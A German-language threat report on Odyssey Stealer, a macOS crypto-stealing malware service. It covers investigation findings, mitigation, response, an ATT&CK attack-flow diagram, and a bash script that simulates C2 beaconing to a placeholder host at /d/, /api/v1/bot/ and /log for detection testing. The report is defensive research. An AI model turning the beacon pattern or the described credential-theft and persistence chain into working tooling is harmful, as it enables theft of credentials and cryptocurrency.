Odyssey Stealer: Einblick in eine macOS Crypto-Stealing-Operation

Ruslan Mikhalov Leiter der Bedrohungsforschung bei SOC Prime

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Odyssey Stealer: Einblick in eine macOS Crypto-Stealing-Operation

Detection stack

AIDR
Alert
ETL
Query

Bedrohungsbericht
Angriffsablauf
Erkennungen
Simulationen

Zusammenfassung

Odyssey Stealer ist ein macOS-Infostealer, der sich auf Kryptowährungswallets und -erweiterungen konzentriert. Er wird als Malware-as-a-Service-Plattform vermarktet, bei der Partner Zugriff auf einen zentralisierten C2 und ein Admin-Panel mieten. Die Bereitstellung erfolgt typischerweise über verschleiertes AppleScript, das einen persistenten LaunchDaemon installiert, der den C2 nach Befehlen abfragt. Der Betreiber kann auch legitime Ledger- und Trezor-Apps durch trojanisierte Builds ersetzen, um Anmeldedaten und Transaktionsdaten zu erfassen.

Untersuchung

Forscher haben den C2 mit einzigartigen HTML-Meta-Tags, Seitenkörper-Hashes und einem gemeinsamen Favicon-Hash identifiziert. Sie kartierten zehn physische Hosts über mehrere ASN-Cluster hinweg, hauptsächlich in Europa und den Niederlanden. Die Zerlegung der Nutzlast ergab einen mehrstufigen AppleScript-Dropper, LaunchDaemon-Persistenz und eine in Go kompilierte SOCKS5-Proxy-Binärdatei. In den Dropper eingebettete Konfigurationsdaten enthüllten Partnerkennungen und Build-IDs.

Minderung

Achten Sie auf verdächtige osascript-Aktivitäten, insbesondere lange verschleierte Zeichenfolgen, unbekannte LaunchDaemon-Plist-Dateien mit zufälligen Bezeichnungen und ausgehende POST-Anfragen an „/log“-Endpunkte. Alarmieren Sie bei von LaunchDaemon erzeugten Binärdateien und verdächtigen SOCKS5-Aktivitäten. Überprüfen Sie die Code-Signatur für Ledger- und Trezor-Anwendungen und blockieren Sie bekannte C2-Domains und IP-Adressen. Schulen Sie Benutzer darin, unerwartete Passwortabfragen und „Wallet-Updates“ als hohes Risiko zu betrachten.

Reaktion

Bei Erkennung das System isolieren, den bösartigen LaunchDaemon beenden und trojanisierte Wallet-Anwendungen entfernen. Netzwerkverkehr zu den identifizierten C2-Domains und IPs erfassen zur Untersuchung, dann offengelegte Kryptowährungs-Anmeldeinformationen zurücksetzen und macOS-Passwörter wechseln. Eine vollständige forensische Überprüfung durchführen, um zusätzliche Artefakte zu identifizieren.

„graph TB %% Class definitions classDef action fill:#99ccff %% Node definitions action_initial_access_phishing[„Aktion – T1566 Phishing: Bösartiger Link per E-Mail oder Malvertising zugestellt Beschreibung: Angreifer erlangt ersten Zugang, indem er den Benutzer dazu bringt, auf einen Link zu klicken.“] class action_initial_access_phishing action action_user_execution_malicious_link[„Aktion – T1204.001 Benutzer Ausführung: Bösartiger Link: Opfer klickt auf den Link und startet einen AppleScript-Dropper Beschreibung: Code-Ausführung erfolgt nach Benutzerinteraktion.“] class action_user_execution_malicious_link action action_execution_obfuscation[„Aktion – T1027 Verschleierte Dateien oder Informationen: Verschleierte AppleScript-Nutzlast über osascript ausgeführt Beschreibung: Verbirgt bösartigen Code, um der Erkennung zu entgehen.“] class action_execution_obfuscation action action_cred_gui_capture[„Aktion – T1056.002 Eingabeerfassung: GUI: Gefälschtes macOS-Passwortdialog erfasst Admin-Anmeldedaten Beschreibung: Stiehlt Anmeldedaten durch Benutzeroberflächen-Spoofing.“] class action_cred_gui_capture action action_cred_browser_stores[„Aktion – T1555.003 Anmeldedaten von Webbrowsern: Extrahiert Cookies, Passwörter und Kryptowallet-Daten aus Chrome, Edge und Firefox Beschreibung: Erntet gespeicherte Web-Anmeldedaten.“] class action_cred_browser_stores action action_cred_keychain[„Aktion – T1555.005 Anmeldedaten von Passwortmanagern: Liest gespeicherte Passwörter aus dem macOS-Schlüsselbund Beschreibung: Greift auf Passwortmanager-Daten zu.“] class action_cred_keychain action action_cred_securityd[„Aktion – T1555.002 Anmeldedaten aus Securityd-Speicher: Erntet den Speicher des securityd-Prozesses für Anmeldedaten Beschreibung: Ruft Anmeldematerial aus Prozessspeicher ab.“] class action_cred_securityd action action_priv_esc_valid_accounts[„Aktion – T1078 Gültige Konten: Nutzt erfasstes Admin-Passwort zur Erlangung erweiterter Rechte Beschreibung: Erlangt höhere Berechtigungen mit legitimen Anmeldedaten.“] class action_priv_esc_valid_accounts action action_persistence_launchdaemon[„Aktion – T1543.004 Launch Daemon: Installiert com.random.plist LaunchDaemon für periodisches C2-Polling Beschreibung: Besteht fort, indem ein Launch Daemon erstellt wird.“] class action_persistence_launchdaemon action action_discovery_browser[„Aktion – T1217 Browser-Informationsentdeckung: Listet installierte Browser und Wallet-Erweiterungen auf Beschreibung: Sammelt Informationen über die Browsing-Umgebung des Opfers.“] class action_discovery_browser action action_collection_archive[„Aktion – T1560 Gesammelte Daten archivieren: Komprimiert gestohlene Dateien in ein ZIP-Archiv Beschreibung: Verpackt Daten zur Exfiltration.“] class action_collection_archive action action_exfil_automated[„Aktion – T1020 Automatisierte Exfiltration: POSTt das ZIP-Archiv an den /log-Endpunkt Beschreibung: Sendet gesammelte Daten über HTTP.“] class action_exfil_automated action action_c2_webservice[„Aktion – T1102 Webdienst: Kommuniziert mit C2 unter Verwendung von HTTP GET- und POST-Endpunkten Beschreibung: Nutzt Webdienste für Kommando und Kontrolle.“] class action_c2_webservice action action_c2_dead_drop[„Aktion – T1102.001 Dead Drop Resolver: Ruft Nutzlasten von /d/… URLs ab Beschreibung: Verwendet einen toten Abwurfstandort, um Befehle zu erhalten.“] class action_c2_dead_drop action action_c2_external_proxy[„Aktion – T1090.002 Externer Proxy: Lädt einen in Go compilierten SOCKS5-Proxy herunter und führt ihn für den Traffic-Tunneling aus Beschreibung: Leitet C2-Verkehr über einen externen Proxy.“] class action_c2_external_proxy action %% Connections action_initial_access_phishing u002du002d>|führt zu| action_user_execution_malicious_link action_user_execution_malicious_link u002du002d>|löst aus| action_execution_obfuscation action_execution_obfuscation u002du002d>|ermöglicht| action_cred_gui_capture action_cred_gui_capture u002du002d>|liefert| action_cred_browser_stores action_cred_browser_stores u002du002d>|fügt hinzu| action_cred_keychain action_cred_keychain u002du002d>|fügt hinzu| action_cred_securityd action_cred_securityd u002du002d>|gibt| action_priv_esc_valid_accounts action_priv_esc_valid_accounts u002du002d>|erlaubt| action_persistence_launchdaemon action_persistence_launchdaemon u002du002d>|ermöglicht| action_discovery_browser action_discovery_browser u002du002d>|versorgt| action_collection_archive action_collection_archive u002du002d>|bereitet vor| action_exfil_automated action_exfil_automated u002du002d>|nutzt| action_c2_webservice action_c2_webservice u002du002d>|verwendet| action_c2_dead_drop action_c2_dead_drop u002du002d>|unterstützt| action_c2_external_proxy „

Angriffsfluss

#!/usr/bin/env bash
# Odyssey Stealer C2 Beacon-Simulation für Erkennungsvalidierung
# Anforderungen: curl, Netzwerk-Proxy wie in den Vorab-Schritten konfiguriert

C2_HOST="c2.odyssey.example.com"
PROXY_HOST="127.0.0.1:3128"  # Ihrer Squid-Proxy-Adresse anpassen

# Funktion zum Senden einer Anfrage über den Proxy
send_request() {
    local path=$1
    echo "[*] Anfrage senden an https://${C2_HOST}${path} über Proxy ${PROXY_HOST}"
    curl -x "$PROXY_HOST" -s -o /dev/null "https://${C2_HOST}${path}"
}

# 1. Datenexfiltrations-Endpunkt (zufälliger Partner + Ziffern)
AFFILIATE="aff$(shuf -i 1000-9999 -n 1)"
DIGITS=$(shuf -i 10000-99999 -n 1)
send_request "/d/${AFFILIATE}${DIGITS}"

# 2. Bot-Management-Heartbeat
send_request "/api/v1/bot/"

# 3. Optionaler Protokollierungsendpunkt
send_request "/log"

echo "[+] Simulation abgeschlossen. Überprüfen Sie Alarme im SIEM."

Speichern Sie das Skript als odyssey_beacon.sh, machen Sie es ausführbar (chmod +x odyssey_beacon.sh), und führen Sie es auf dem macOS-Testhost aus.

Bereinigungsbefehle: Entfernen Sie alle temporären Dateien und deaktivieren Sie optional den Proxy für den Testbenutzer.

# Deaktivieren Sie die Proxy-Einstellungen für die Wi-Fi-Schnittstelle
networksetup -setwebproxystate "Wi-Fi" off
networksetup -setsecurewebproxystate "Wi-Fi" off

# (Optional) Stoppen Sie Squid, wenn es nur für diesen Test gestartet wurde
# brew services stop squid
echo "Proxy-Einstellungen wiederhergestellt und Squid (falls zutreffend) gestoppt."

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Name	Descripiton
PHPSESSID	Preserves user session state across page requests. Cookie generated by applications based on the PHP language. This is a general purpose identifier used to maintain user session variables. It is normally a random generated number, how it is used can be specific to the site, but a good example is maintaining a logged-in status for a user between pages.
sp_i	Used to store information about authenticated User.
sp_r	Used to store information about authenticated User.
sp_a	Used to store information about authenticated User.

Name	Descripiton
tuuid	Collects anonymous data related to the user's visits to the website, such as the number of visits, average time spent on the website and what pages have been loaded.
tuuid_last_update	Collects anonymous data related to the user's visits to the website, such as the number of visits, average time spent on the website and what pages have been loaded.
um	Collects anonymous data related to the user's visits to the website, such as the number of visits, average time spent on the website and what pages have been loaded.
umeh	Collects anonymous data related to the user's visits to the website, such as the number of visits, average time spent on the website and what pages have been loaded.
na_sc_x	Used by the social sharing platform AddThis to keep a record of parts of the site that has been visited in order to recommend other parts of the site.
APID	Collects anonymous data related to the user's visits to the website.
IDSYNC	Collects anonymous data related to the user's visits to the website.
_cc_aud	Collects anonymous statistical data related to the user's website visits, such as the number of visits, average time spent on the website and what pages have been loaded. The purpose is to segment the website's users according to factors such as demographics and geographical location, in order to enable media and marketing agencies to structure and understand their target groups to enable customised online advertising.
_cc_cc	Collects anonymous statistical data related to the user's website visits, such as the number of visits, average time spent on the website and what pages have been loaded. The purpose is to segment the website's users according to factors such as demographics and geographical location, in order to enable media and marketing agencies to structure and understand their target groups to enable customised online advertising.
_cc_dc	Collects anonymous statistical data related to the user's website visits, such as the number of visits, average time spent on the website and what pages have been loaded. The purpose is to segment the website's users according to factors such as demographics and geographical location, in order to enable media and marketing agencies to structure and understand their target groups to enable customised online advertising.
_cc_id	Collects anonymous statistical data related to the user's website visits, such as the number of visits, average time spent on the website and what pages have been loaded. The purpose is to segment the website's users according to factors such as demographics and geographical location, in order to enable media and marketing agencies to structure and understand their target groups to enable customised online advertising.
dpm	Via a unique ID that is used for semantic content analysis, the user's navigation on the website is registered and linked to offline data from surveys and similar registrations to display targeted ads.
acs	Collects anonymous data related to the user's visits to the website, such as the number of visits, average time spent on the website and what pages have been loaded, with the purpose of displaying targeted ads.
clid	Collects anonymous data related to the user's visits to the website, such as the number of visits, average time spent on the website and what pages have been loaded, with the purpose of displaying targeted ads.
KRTBCOOKIE_#	Registers a unique ID that identifies the user's device during return visits across websites that use the same ad network. The ID is used to allow targeted ads.
PUBMDCID	Registers a unique ID that identifies the user's device during return visits across websites that use the same ad network. The ID is used to allow targeted ads.
PugT	Registers a unique ID that identifies the user's device during return visits across websites that use the same ad network. The ID is used to allow targeted ads.
ssi	Registers a unique ID that identifies a returning user's device. The ID is used for targeted ads.
_tmid	Registers a unique ID that identifies the user's device upon return visits. The ID is used to target ads in video clips.
wam-sync	Used by the advertising platform Weborama to determine the visitor's interests based on pages visits, content clicked and other actions on the website.
wui	Used by the advertising platform Weborama to determine the visitor's interests based on pages visits, content clicked and other actions on the website.
AFFICHE_W	Used by the advertising platform Weborama to determine the visitor's interests based on pages visits, content clicked and other actions on the website.
B	Collects anonymous data related to the user's website visits, such as the number of visits, average time spent on the website and what pages have been loaded. The registered data is used to categorise the users' interest and demographical profiles with the purpose of customising the website content depending on the visitor.
1P_JAR	These cookies are used to gather website statistics, and track conversion rates.
APISID	Google set a number of cookies on any page that includes a Google reCAPTCHA. While we have no control over the cookies set by Google, they appear to include a mixture of pieces of information to measure the number and behaviour of Google reCAPTCHA users.
HSID	Google set a number of cookies on any page that includes a Google reCAPTCHA. While we have no control over the cookies set by Google, they appear to include a mixture of pieces of information to measure the number and behaviour of Google reCAPTCHA users.
NID	Google set a number of cookies on any page that includes a Google reCAPTCHA. While we have no control over the cookies set by Google, they appear to include a mixture of pieces of information to measure the number and behaviour of Google reCAPTCHA users.
SAPISID	Google set a number of cookies on any page that includes a Google reCAPTCHA. While we have no control over the cookies set by Google, they appear to include a mixture of pieces of information to measure the number and behaviour of Google reCAPTCHA users.
SID	Google set a number of cookies on any page that includes a Google reCAPTCHA. While we have no control over the cookies set by Google, they appear to include a mixture of pieces of information to measure the number and behaviour of Google reCAPTCHA users.
SIDCC	Security cookie to protect users data from unauthorised access.
SSID	Google set a number of cookies on any page that includes a Google reCAPTCHA. While we have no control over the cookies set by Google, they appear to include a mixture of pieces of information to measure the number and behaviour of Google reCAPTCHA users.
__utmx	This cookie is associated with Google Website Optimizer, a tool designed to help site owners improve their wbesites. It is used to distinguish between two varaitions a webpage that might be shown to a visitor as part of an A/B split test. This helps site owners to detemine which version of a page performs better, and therefore helps to improve the website.
__utmxx	This cookie is associated with Google Website Optimizer, a tool designed to help site owners improve their wbesites. It is used to distinguish between two varaitions a webpage that might be shown to a visitor as part of an A/B split test. This helps site owners to detemine which version of a page performs better, and therefore helps to improve the website.

Name	Descripiton
_hjid	Hotjar cookie. This cookie is set when the customer first lands on a page with the Hotjar script. It is used to persist the random user ID, unique to that site on the browser. This ensures that behavior in subsequent visits to the same site will be attributed to the same user ID.
_hjIncludedInSample	This cookie is associated with web analytics functionality and services from Hot Jar, a Malta based company. It uniquely identifies a visitor during a single browser session and indicates they are included in an audience sample.
intercom-id-[xxx]	This cookie is used by Intercom as a session so that users can continue a chat as they move through the site.
intercom-session-[xxx]	Used to keeping track of sessions and remember logins and conversations.
demdex	Via a unique ID that is used for semantic content analysis, the user's navigation on the website is registered and linked to offline data from surveys and similar registrations to display targeted ads.
CookieConsent	Stores the user's cookie consent state for the current domain.
__cfduid	Used by the content network, Cloudflare, to identify trusted web traffic.
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Name	Descripiton
_ga	This cookie name is asssociated with Google Universal Analytics - which is a significant update to Google's more commonly used analytics service. This cookie is used to distinguish unique users by assigning a randomly generated number as a client identifier. It is included in each page. Registers a unique ID that is used to generate statistical data on how the visitor uses the website. request in a site and used to calculate visitor, session and campaign data for the sites analytics reports. By default it is set to expire after 2 years, although this is customisable by website owners.
_gat	Used by Google Analytics to throttle request rate. This cookie name is associated with Google Universal Analytics, according to documentation it is used to throttle the request rate - limiting the collection of data on high traffic sites. It expires after 10 minutes.
_gid	This cookie name is asssociated with Google Universal Analytics. This appears to be a new cookie and as of Spring 2017 no information is available from Google. It appears to store and update a unique value for each page visited. Registers a unique ID that is used to generate statistical data on how the visitor uses the website.
IDE	Used by Google DoubleClick to register and report the website user's actions after viewing or clicking one of the advertiser's ads with the purpose of measuring the efficacy of an ad and to present targeted ads to the user.
r/collect	Used by Google DoubleClick to register and report the website user's actions after viewing or clicking one of the advertiser's ads with the purpose of measuring the efficacy of an ad and to present targeted ads to the user.
test_cookie	Used to check if the user's browser supports cookies.
collect	Used to send data to Google Analytics about the visitor's device and behaviour. Tracks the visitor across devices and marketing channels.
ads/user-lists/#	These cookies may be set through our site by our advertising partners. They may be used by those companies to build a profile of your interests and show you relevant adverts on other sites.
c	Registers anonymised user data, such as IP address, geographical location, visited websites, and what ads the user has clicked, with the purpose of optimising ad display based on the user's movement on websites that use the same ad network.
khaos	Registers anonymised user data, such as IP address, geographical location, visited websites, and what ads the user has clicked, with the purpose of optimising ad display based on the user's movement on websites that use the same ad network.
put_#	Registers anonymised user data, such as IP address, geographical location, visited websites, and what ads the user has clicked, with the purpose of optimising ad display based on the user's movement on websites that use the same ad network.
rpb	Registers anonymised user data, such as IP address, geographical location, visited websites, and what ads the user has clicked, with the purpose of optimising ad display based on the user's movement on websites that use the same ad network.
rpx	Registers anonymised user data, such as IP address, geographical location, visited websites, and what ads the user has clicked, with the purpose of optimising ad display based on the user's movement on websites that use the same ad network.
tap.php	Registers anonymised user data, such as IP address, geographical location, visited websites, and what ads the user has clicked, with the purpose of optimising ad display based on the user's movement on websites that use the same ad network.